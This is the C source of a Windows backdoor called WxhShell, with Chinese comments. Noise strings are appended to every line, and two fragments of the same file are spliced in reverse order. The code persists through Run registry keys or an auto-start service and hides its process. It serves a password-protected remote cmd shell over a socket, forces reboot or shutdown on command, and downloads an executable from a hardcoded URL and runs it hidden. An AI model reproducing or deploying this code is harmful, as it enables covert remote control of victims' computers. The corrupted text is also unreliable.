    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {{32jU7<  
    if(Boot(SHUTDOWN)) uM<|@`&b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O#vn)+Y,*  
    else { q%>7L<r  
    closesocket(wsh); @|BD|{k  
    ExitThread(0); uG;?vvg>  
    } 4:D:| r  
    break; b6|Z"{TI _  
    } &M[MEO`t8  
  // 获取shell )Nbc/nB$  
  case 's': { _mXs4  
    CmdShell(wsh); %4,xx'`  
    closesocket(wsh); e8oKn&  
    ExitThread(0); f e|g3>/|  
    break; >:2}V]/ ;  
  } $0#6"urG  
  // 退出 h}h^L+4  
  case 'x': { t)} \9^Uo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |=O1Hn  
    CloseIt(wsh); R"Kz!NTB  
    break; L x.jrF|&  
    } cJ. 7Mt  
  // 离开 lkb2?2\+  
  case 'q': { _%{0?|=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %%&e"&7HE  
    closesocket(wsh); z$|;-u|  
    WSACleanup(); B52yaG8C  
    exit(1); @T ysXx  
    break; )\>r-g$  
        } je,c7ZFO  
  } l xe`u}[  
  } 3htq[Ren  
 it)ZP H  
  // 提示信息 )7dEi+v52  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ox[ .)v  
} (0OM "`j  
  } 3V}(fnv  
9 6=Z"  
  return; o&z!6"S<  
} 3 CM^j<9  
%G[/H.7s-  
// shell模块句柄 F;P5D<  
int CmdShell(SOCKET sock) - IU4#s  
{ s)k y/ce  
STARTUPINFO si; )t%h[0{{  
ZeroMemory(&si,sizeof(si)); RDJ+QOVKg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oxfF`L"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  <B )   
PROCESS_INFORMATION ProcessInfo; :3^dF}>  
char cmdline[]="cmd"; p x#suy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W pN.]x  
  return 0; & fu z2xv  
} u]E.iXp  
t`YWwI.  
// 自身启动模式 =u=Kw R  
int StartFromService(void) qnJ50 VVW  
{ Uyk,.*8"  
typedef struct BSgTde|3y  
{ =((yWn+t  
  DWORD ExitStatus; OPuj|%Wgw  
  DWORD PebBaseAddress; OxQYNi2  
  DWORD AffinityMask; 6\n?4 8x}  
  DWORD BasePriority; zTY;8r+  
  ULONG UniqueProcessId; mj2Pk,,SA  
  ULONG InheritedFromUniqueProcessId; Nqc p1J"  
}   PROCESS_BASIC_INFORMATION; z)}!e,7  
^=+e?F`:{  
PROCNTQSIP NtQueryInformationProcess; YJ,*(A18  
(.?ZKL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^m%52Tm h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w"8V0z  
~}Z'0W)Q`z  
  HANDLE             hProcess; %(<(Y  
  PROCESS_BASIC_INFORMATION pbi; aGK@)&h$  
\uM? S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fu R2S70d  
  if(NULL == hInst ) return 0; Svw<XJ   
((<`zx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ()\jCNLT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9I .^LZ"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yMxTfR  
B!;+_%P76  
  if (!NtQueryInformationProcess) return 0; (0L=AxH  
vtyx`F f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "^Rv#  
  if(!hProcess) return 0; YQd:M%$  
wL3,g2-L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $a(`ve|  
1~\M!SQ)  
  CloseHandle(hProcess); |m;L?)F<  
ER^QV(IvP8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >o/95xk2  
if(hProcess==NULL) return 0; e |V]  
%tmp  
HMODULE hMod; (3;@^S4&w  
char procName[255]; zzIr2so  
unsigned long cbNeeded; ~<)vKk  
6B6vP%H#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |PP.<ce\-  
N3%*7{X 9  
  CloseHandle(hProcess); q0./O|Dj   
.H~YI  
if(strstr(procName,"services")) return 1; // 以服务启动 7\Fs=\2l+'  
0L#/lDNk  
  return 0; // 注册表启动 2K{6iw"h  
} uMmXs% 9T  
<f>akT,W  
// 主模块 M%`\P\A  
int StartWxhshell(LPSTR lpCmdLine) dRaOGm)  
{ 41V e}%  
  SOCKET wsl; =\3Tv  
BOOL val=TRUE; mL yBm  
  int port=0; i9A~<  
  struct sockaddr_in door; [4Q"#[V&9  
S6D^3n  
  if(wscfg.ws_autoins) Install(); gl7|H&&xV  
Hd &{d+B  
port=atoi(lpCmdLine); C6  "  
,6,]#R :J  
if(port<=0) port=wscfg.ws_port; m3.sVI0I  
Q(Gl{#b  
  WSADATA data; nwmW.(R4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GF$`BGW  
1^G{tlA-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eQDX:b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3EK9,:<Cf  
  door.sin_family = AF_INET; u2iXJmM*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s'\$t  
  door.sin_port = htons(port); (gXN%rsY  
Vba.uKNjk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (zcLx;N  
closesocket(wsl); M(Zc^P}N  
return 1; I#rubAl  
} _$s> c!t,#  
IV`%V+ f  
  if(listen(wsl,2) == INVALID_SOCKET) { D(]E/k@ ;~  
closesocket(wsl); & ,hr8  
return 1; YY5!_k  
} y~ rX l  
  Wxhshell(wsl); `T&jPA9eY  
  WSACleanup(); z(13~38+  
wvby?MhPY  
return 0; z rfUQO  
O7G"sT1Dv  
} kcuzB+  
7h9U{4r: M  
// 以NT服务方式启动 19UN*g3(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B.dT)@Lx0  
{ ('[TLHP  
DWORD   status = 0; kHK0(bYK  
  DWORD   specificError = 0xfffffff; </`yd2>  
7'lZg<z{~j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2kh"8oQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m#7*:i&@Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }6u2*(TmD  
  serviceStatus.dwWin32ExitCode     = 0; 8|^CK|m6*  
  serviceStatus.dwServiceSpecificExitCode = 0; {*m?Kc7k  
  serviceStatus.dwCheckPoint       = 0; SPkn 3D6  
  serviceStatus.dwWaitHint       = 0; ipE ]}0q  
60>.ul2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vu8,(A7D%O  
  if (hServiceStatusHandle==0) return; !wz/c M;  
s>n(`?@L  
status = GetLastError(); 9pKGr@&   
  if (status!=NO_ERROR) jeUUa-zR3  
{ Wr?'$:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7:E!b=o#  
    serviceStatus.dwCheckPoint       = 0; K%5"u'  
    serviceStatus.dwWaitHint       = 0; zZ-\a[F  
    serviceStatus.dwWin32ExitCode     = status; r(A.<`\   
    serviceStatus.dwServiceSpecificExitCode = specificError; \}0-^(9zd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f58?5(Dc|  
    return; 4,p;Km&  
  } V ~{fB~  
{R6HG{"IS6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jNDx,7F-  
  serviceStatus.dwCheckPoint       = 0; zCaT tb|@  
  serviceStatus.dwWaitHint       = 0; XzIx:J6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w?Ju5 5  
} TI|/u$SJ<Z  
PJ4(}a  
// 处理NT服务事件,比如:启动、停止 @~td`Z?1 y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Mc7f?H  
{ 0MF}^"R  
switch(fdwControl) c]k*}W3T  
{ _ QOZ sEe  
case SERVICE_CONTROL_STOP: $.%rAa_H  
  serviceStatus.dwWin32ExitCode = 0;  AnBJ(h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G\d$x4CVGc  
  serviceStatus.dwCheckPoint   = 0; I0'WOV70  
  serviceStatus.dwWaitHint     = 0; yY).mxRN  
  { ;E^K.6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZJW[?V\5=  
  } >/$Fh:R-  
  return; @@G6p($  
case SERVICE_CONTROL_PAUSE: -e GL)M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W!Gdf^Yy<  
  break; (.Y/  
case SERVICE_CONTROL_CONTINUE: T#@lDpO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y[};J vk  
  break; K>:]Bx#F7  
case SERVICE_CONTROL_INTERROGATE: xgu `Q`~  
  break; cf_|nL#9  
}; x3+oAb@o/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I?#85l{>  
} Hy:V`>  
YIhm$A"z0"  
// 标准应用程序主函数 +EXJ\wy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y*oDO$6  
{ #SVNHpx  
[(kB 5 a  
// 获取操作系统版本 CG\tQbum  
OsIsNt=GetOsVer(); CK+d!Eg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +avMX&%  
YUU-D(  
  // 从命令行安装 G6P)C##ibn  
  if(strpbrk(lpCmdLine,"iI")) Install(); E(pF:po  
{PU!=IkTS  
  // 下载执行文件 'wasZ b<^  
if(wscfg.ws_downexe) { UB`ToE|Ii  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Df =dt  
  WinExec(wscfg.ws_filenam,SW_HIDE); YV% 5y1 i  
} pW0dB_  
PC$CYW5  
if(!OsIsNt) { !`JHH&  
// 如果时win9x,隐藏进程并且设置为注册表启动 aVs(EHF  
HideProc(); ( lm&*tKm  
StartWxhshell(lpCmdLine); sb_oD{+gW  
} lT&wOm3  
else ^g1f X1  
  if(StartFromService()) S{]7C?4`  
  // 以服务方式启动 0-Y:v(|.  
  StartServiceCtrlDispatcher(DispatchTable); +yob)%  
else O=cxNy-I  
  // 普通方式启动 u6V/JI}g  
  StartWxhshell(lpCmdLine); s'aip5P  
n"PJ,ao  
return 0; [D "t~QMr  
} Y}*\[}l:&x  
Z7rJ}VP  
o{b=9-V  
]M>9ULQ  
=========================================== N]EcEM#  
1LJuCI=~  
f*{ YFg?*&  
sxKf&p;  
?^mi3VM  
-~[9U,  
" /^{BUo  
7\z ZpPDV  
#include <stdio.h> JCcZuwu[  
#include <string.h>  9fnA  
#include <windows.h> YYEJph@06q  
#include <winsock2.h> 5Z/GK2[HL  
#include <winsvc.h> hRI"y":zD  
#include <urlmon.h> >7`<!YJkK  
=o}"jVE  
#pragma comment (lib, "Ws2_32.lib") .MW@;  
#pragma comment (lib, "urlmon.lib") &;,,H< p  
1(Y7mM8\  
#define MAX_USER   100 // 最大客户端连接数 m"\:o  
#define BUF_SOCK   200 // sock buffer .o1^Oh  
#define KEY_BUFF   255 // 输入 buffer 1% F?B-k  
<$w?/y/'  
#define REBOOT     0   // 重启 u cwnA  
#define SHUTDOWN   1   // 关机 ev0oO+u  
HmfG$Z  
#define DEF_PORT   5000 // 监听端口 X:a`B(@S  
N..j{FE  
#define REG_LEN     16   // 注册表键长度 /yz=Cjoz  
#define SVC_LEN     80   // NT服务名长度 L9Z;:``p  
RgorkZlVM  
// 从dll定义API l\AMl \  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .?p\n7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /&& 2u7*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); do-ahl,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aSuM2  
,:fl?x.X  
// wxhshell配置信息 e~ aqaY~}  
struct WSCFG { [3l*F  
  int ws_port;         // 监听端口 CM)Q&:  
  char ws_passstr[REG_LEN]; // 口令 g*)K/Z0pJ$  
  int ws_autoins;       // 安装标记, 1=yes 0=no zl-2$}<a  
  char ws_regname[REG_LEN]; // 注册表键名 cfox7FmW  
  char ws_svcname[REG_LEN]; // 服务名 ]eQV ,Vt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {8,<ZZ_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5(W"-A}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YCe7<3>J4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @~<j&FTT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" & gJV{V5Ay  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ""Zp:8o  
^J Z^>E~  
}; \ \BCcr\l  
~U(,TjJb  
// default Wxhshell configuration Qu=LnGo~P  
struct WSCFG wscfg={DEF_PORT,  nVu&/  
    "xuhuanlingzhe", o-xDh7v  
    1, di)*-+  
    "Wxhshell", 9!9Z~ /*m  
    "Wxhshell", ZvYLL{>}w  
            "WxhShell Service", j*e6 vX  
    "Wrsky Windows CmdShell Service", mNf8kwr  
    "Please Input Your Password: ", pME{jD  
  1, {mWui9 %M  
  "http://www.wrsky.com/wxhshell.exe", }>^Q'BW;65  
  "Wxhshell.exe" Eca\fkj  
    }; 4!asT;`'  
Q6o(']0  
// 消息定义模块 R1F5-#?'E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {7!UQrm<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )eUW5 tS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !3mA 0-!+  
char *msg_ws_ext="\n\rExit."; I -Xlx<  
char *msg_ws_end="\n\rQuit."; 6:U$w7P0 e  
char *msg_ws_boot="\n\rReboot..."; =ji1S}e~p  
char *msg_ws_poff="\n\rShutdown..."; lP Lz@Up~  
char *msg_ws_down="\n\rSave to "; _|72r} j  
2f U$J>Y  
char *msg_ws_err="\n\rErr!"; !zPG? q]3  
char *msg_ws_ok="\n\rOK!"; "dR |[a<#g  
$M_x!f'{>  
char ExeFile[MAX_PATH]; RH}A  
int nUser = 0; =X?\MVWB  
HANDLE handles[MAX_USER]; ) \Y7&  
int OsIsNt; i>EgG5iJ  
7NC=*A~  
SERVICE_STATUS       serviceStatus; < B_Vc:Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K =.%$A  
w;Q;[:y  
// 函数声明 cPgfTT  
int Install(void); 7r|(}S  
int Uninstall(void); T081G`li  
int DownloadFile(char *sURL, SOCKET wsh); J7C4V'_  
int Boot(int flag); yCJFo  
void HideProc(void); r]W  
int GetOsVer(void); 7nbB^2  
int Wxhshell(SOCKET wsl); 79\Jx iSB  
void TalkWithClient(void *cs); > 0{S  
int CmdShell(SOCKET sock); %{3 aW>yx  
int StartFromService(void); v+jsC`m  
int StartWxhshell(LPSTR lpCmdLine); KXV[OF&J  
AtR?J"3E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <I}2k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t}v2$<!I  
b{fQ|QD{^E  
// 数据结构和表定义 @fu M)B1"  
SERVICE_TABLE_ENTRY DispatchTable[] =  )>D+x5o]  
{ g}p;\o   
{wscfg.ws_svcname, NTServiceMain}, V\V)<BARe  
{NULL, NULL} iK?b~Q  
}; i,13b e  
[1Ydo`  
// 自我安装 A2}Rl%+X]6  
int Install(void) MNH1D! }  
{ Y(\T- bI  
  char svExeFile[MAX_PATH]; )BfT7{WN  
  HKEY key; ^kS T  
  strcpy(svExeFile,ExeFile); .(J?a"  
iHf-{[[Z  
// 如果是win9x系统,修改注册表设为自启动 {pb>$G:gfx  
if(!OsIsNt) { /7!""{1\\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @/r^%G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _"4xKh)  
  RegCloseKey(key); GE>[*zN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q1E:l!2al  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )2,eFNB#n  
  RegCloseKey(key); T[= S$n -'  
  return 0; gyS+9)gY  
    } X(jVRr_m9  
  } /ywD{*  
} DmXcPJ[9  
else { R),zl_d_  
.1 %T W)  
// 如果是NT以上系统,安装为系统服务 C"lJl k9g^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ! _2n  
if (schSCManager!=0) #YDr%>j  
{ nC {K$  
  SC_HANDLE schService = CreateService lnE+Au'  
  ( -@>BHC  
  schSCManager, < j$#9QQ1  
  wscfg.ws_svcname, "RVcA",  
  wscfg.ws_svcdisp, X7L8h'(@  
  SERVICE_ALL_ACCESS, OT^%3:zg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B3Jgd,[  
  SERVICE_AUTO_START, 9dMrgz&'  
  SERVICE_ERROR_NORMAL, :';L/x>  
  svExeFile, cI]WrI2CQa  
  NULL, ?Qb<-~~ j1  
  NULL, @\&m+;6  
  NULL, Th`skK&U  
  NULL, S osj$9E  
  NULL 1b8p~-LsU  
  ); 4@.|_zY  
  if (schService!=0) ^\B :R,  
  { Kb =@ =Xta  
  CloseServiceHandle(schService); v#=`%]mL  
  CloseServiceHandle(schSCManager); ]nhr+;of/-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b;|55Y  
  strcat(svExeFile,wscfg.ws_svcname); 6 z,&i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `:'w@(q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lyCW=nc  
  RegCloseKey(key); y/V%&.$o=  
  return 0; \:> Wpqw  
    } *&AfR8x_z  
  } {{C`mgC  
  CloseServiceHandle(schSCManager); ::n;VY2&  
} Y32O-I!9u  
} 4/ X/>Y1  
^$%Z! uz  
return 1; )Qm[[pnj  
} g<*BLF  
)XQ`M?**M  
// 自我卸载 ? muzU.h"z  
int Uninstall(void) 5unG#szq  
{ g~UUP4<$"  
  HKEY key; 4h6k`ie!$  
5 ,0d  
if(!OsIsNt) { `RMI(zI3g.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DoC(Z)o  
  RegDeleteValue(key,wscfg.ws_regname); >pkT1Z&'  
  RegCloseKey(key); 3Rm#-T s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d2X[(3  
  RegDeleteValue(key,wscfg.ws_regname); [<`SfE  
  RegCloseKey(key); |%~+2m  
  return 0; QrApxiw  
  } zF4[}*  
} IPuA#C  
} `P Xz  
else { wOB azWa   
reo{*) %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (I@bkMp  
if (schSCManager!=0) E^w:KC2@  
{ ZxGP/D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2/,0iwj-  
  if (schService!=0) uH3D{4   
  { D+lzFn$3  
  if(DeleteService(schService)!=0) { lq.Te,Y%w  
  CloseServiceHandle(schService); 3Q/#T1@  
  CloseServiceHandle(schSCManager); B*!WrB :s  
  return 0; 4YZS"K'E  
  } zb6ju]2  
  CloseServiceHandle(schService); wPbkUVO  
  } x*oWa,  
  CloseServiceHandle(schSCManager); &iN--~}!$  
} Qy#)Gxp  
} wV?,Z!\Z  
3M5#4n\v$  
return 1; }U@m*dEG  
} [NnauItI  
`SO|zz|'  
// 从指定url下载文件 8#R?]Uwq  
int DownloadFile(char *sURL, SOCKET wsh) S{',QO*D6  
{ G0n'KB  
  HRESULT hr; >#+IaKL7  
char seps[]= "/"; _<ut)G^9  
char *token; g%[n4  
char *file; /8@m<CW2Y  
char myURL[MAX_PATH]; J H.K.C(  
char myFILE[MAX_PATH]; EoX_KG{  
dQy>Nmfy  
strcpy(myURL,sURL); wx=0'T-[  
  token=strtok(myURL,seps); +@X5!S6  
  while(token!=NULL) 5)1+~B  
  { ^EVc95|Z  
    file=token; {Hr$wa~  
  token=strtok(NULL,seps); I PE}gp  
  } _eLWQ|6Fx  
59(U`X  
GetCurrentDirectory(MAX_PATH,myFILE); fJjgq)9  
strcat(myFILE, "\\"); iq?#rb P#I  
strcat(myFILE, file); 9^P2I)aD  
  send(wsh,myFILE,strlen(myFILE),0); ! BU)K'mj  
send(wsh,"...",3,0); Kex[ >L10G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0ZAj=u@O  
  if(hr==S_OK) l2b{u GE  
return 0; R)!`JKeO/  
else F{k+7Ftc  
return 1; Dj-s5pAW  
[%HIbw J  
} ,]R8(bD)  
fYebB7Pv  
// 系统电源模块 eT"Uxhs-}  
int Boot(int flag) O`FqD{@V  
{ 4n 3Tp{Y}  
  HANDLE hToken; T0j2a &Pv  
  TOKEN_PRIVILEGES tkp; >KG E-Yzj  
eX&Gw{U-f  
  if(OsIsNt) { ~E4"}n[3A#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oN[Th  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >=ot8%.!,B  
    tkp.PrivilegeCount = 1; 2k7bK6=nm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~7quTp)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vu0 KtG9  
if(flag==REBOOT) { B~r}c4R{7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ]^"k8v/  
  return 0; pw>m.=9|y  
} #i QX 6WF  
else { crA :I"I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QhGXBM  
  return 0; `ia %)@  
} Bt^K]F\  
  } ~>ME'D~  
  else { %@& a7JOL  
if(flag==REBOOT) { OQ_stE2i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +2cs#i  
  return 0; bggusK<  
} WoL9V"]  
else { B_3QQ tjAl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e xR^/|BR  
  return 0; O^{1RV3:,T  
} t7#lsd`_  
} .I?@o8'x  
c $;\i  
return 1; TmEY W<  
} y93k_iq$S  
!MZw#=D`  
// win9x进程隐藏模块 -Q$nA>trKA  
void HideProc(void) XOr fs sj  
{ 90 { tIX  
7u11&(Lz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vg%QXaM  
  if ( hKernel != NULL ) V:K;] h*!  
  { hsce:TB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2V#6q,2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H^c0Kh+  
    FreeLibrary(hKernel); X\GM/A  
  } fhpX/WE6  
V: p)m&y6  
return; gqiXmMm:9  
} _pDjg%A>n  
=(U/CI  
// 获取操作系统版本 K\=8eg93Z  
int GetOsVer(void) -R+zeu(e'  
{ ;'kI/(;;C  
  OSVERSIONINFO winfo; T@+ClZi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OS7R Qw1  
  GetVersionEx(&winfo); 1 0N,?a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B< ;==|  
  return 1; &a~=b,  
  else Jgx8-\ 8  
  return 0; w[fDk1H)  
} :uCdq`SaQl  
?A=b6Um  
// 客户端句柄模块 4^Qi2[w  
int Wxhshell(SOCKET wsl) 'qeP6}M  
{ y,C!9l  
  SOCKET wsh; >Gd.&flSj  
  struct sockaddr_in client; u]vPy ria  
  DWORD myID; k'13f,o}  
Y5TS>iEE]  
  while(nUser<MAX_USER) swr"k6;G  
{ 2bQ/0?.).-  
  int nSize=sizeof(client); s"mFt{Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H:}}t]E  
  if(wsh==INVALID_SOCKET) return 1; DnyYMe!r  
`q?RF+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~ l )t|'6  
if(handles[nUser]==0) $+VgDe5{S  
  closesocket(wsh); tP'GNsq+m  
else XI}I.M  
  nUser++; mY2:m(9"5  
  } b :\D\X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P.4E{.)(  
g^lFML| %  
  return 0; .j 'wQ+_  
} w!,QxrOV~  
D$pj#  
// 关闭 socket wa?+qiWnrl  
void CloseIt(SOCKET wsh) ZJXqCo7O  
{ nk08>veG  
closesocket(wsh); (KF7zP  
nUser--; vo;5f[>4i  
ExitThread(0); 3"i% {  
} qpgU8f  
70`M,``  
// 客户端请求句柄 9+VF<;Xw  
void TalkWithClient(void *cs) !LSs9_w  
{ Q_lu`F|  
EVz9WY  
  SOCKET wsh=(SOCKET)cs; p$OD*f_b  
  char pwd[SVC_LEN]; ]Y5dl;xrM)  
  char cmd[KEY_BUFF]; ;/A}}B]y  
char chr[1]; u8uW9 <  
int i,j; Q;gQfr"c7  
@ R'E?|  
  while (nUser < MAX_USER) { ) hdgz$cl  
:uR>UDlPX  
if(wscfg.ws_passstr) { ZQLB`n @  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {5x>y:v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y@:3 B:m#  
  //ZeroMemory(pwd,KEY_BUFF); m.1 46  
      i=0; m^0A?jBrR  
  while(i<SVC_LEN) { Qv!rUiXq  
%F3}/2  
  // 设置超时  sL ~,  
  fd_set FdRead; Ar~{= X  
  struct timeval TimeOut; \]a uSO  
  FD_ZERO(&FdRead); PJwEA  
  FD_SET(wsh,&FdRead); .HDebi  
  TimeOut.tv_sec=8; "o==4?*L  
  TimeOut.tv_usec=0; =tq7z =k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E3tj/4:L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '}zT1F* p=  
*^6k[3VY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nOuN|q=C  
  pwd=chr[0]; 2mOfsn d@  
  if(chr[0]==0xd || chr[0]==0xa) { AO8:|?3S  
  pwd=0; T g\hx>  
  break; @ V5S4E  
  } (\uA AW"  
  i++; 3GINv3_  
    } x 8M#t(hw  
`vH&K{   
  // 如果是非法用户,关闭 socket h9Z[z73_a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!6<p[_  
} okh0 _4  
I$Eg$q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hLn&5jYHvt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |@q9{h7  
B{4"$Mi  
while(1) { xOgq-@`  
(WkTQRcN,  
  ZeroMemory(cmd,KEY_BUFF); a[JZ5D  
AG=9b  
      // 自动支持客户端 telnet标准   69OET_AS>  
  j=0; XWf7"]%SX  
  while(j<KEY_BUFF) { X@eg<]'m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W9+h0A-  
  cmd[j]=chr[0]; y8D 8Y8B  
  if(chr[0]==0xa || chr[0]==0xd) { >+f'!*%7He  
  cmd[j]=0; F]Pul|.l  
  break; lk~dgky@  
  } q"l>`KCG`  
  j++; HMQ 'b(a'  
    } {'&8`d  
_32/WQF6  
  // 下载文件 LNbx3W oC  
  if(strstr(cmd,"http://")) { |oFI[PE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O{*GW0}55  
  if(DownloadFile(cmd,wsh)) /o'oF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M+\rX1T  
  else >pa\n9=Q^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Y:5,.U  
  } xz="|HD);  
  else { QZ:v  
;7)OSGR  
